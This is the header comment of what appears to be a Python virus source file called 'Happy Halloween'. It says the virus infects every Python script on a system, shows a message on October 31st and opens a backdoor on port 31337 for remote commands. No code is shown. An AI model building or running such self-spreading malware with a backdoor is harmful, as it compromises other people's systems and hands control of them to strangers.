# Happy Halloween ~ (A python appender VX)
# Finds all python scripts on a system, infects them
# with the VX if not infected, payload on infected scripts 
# say "Happy Halloween" if run on October 31st. Virus 
# opens a backdoor on port 31337 which can be used to 
# send commands when an infected script has been executed.
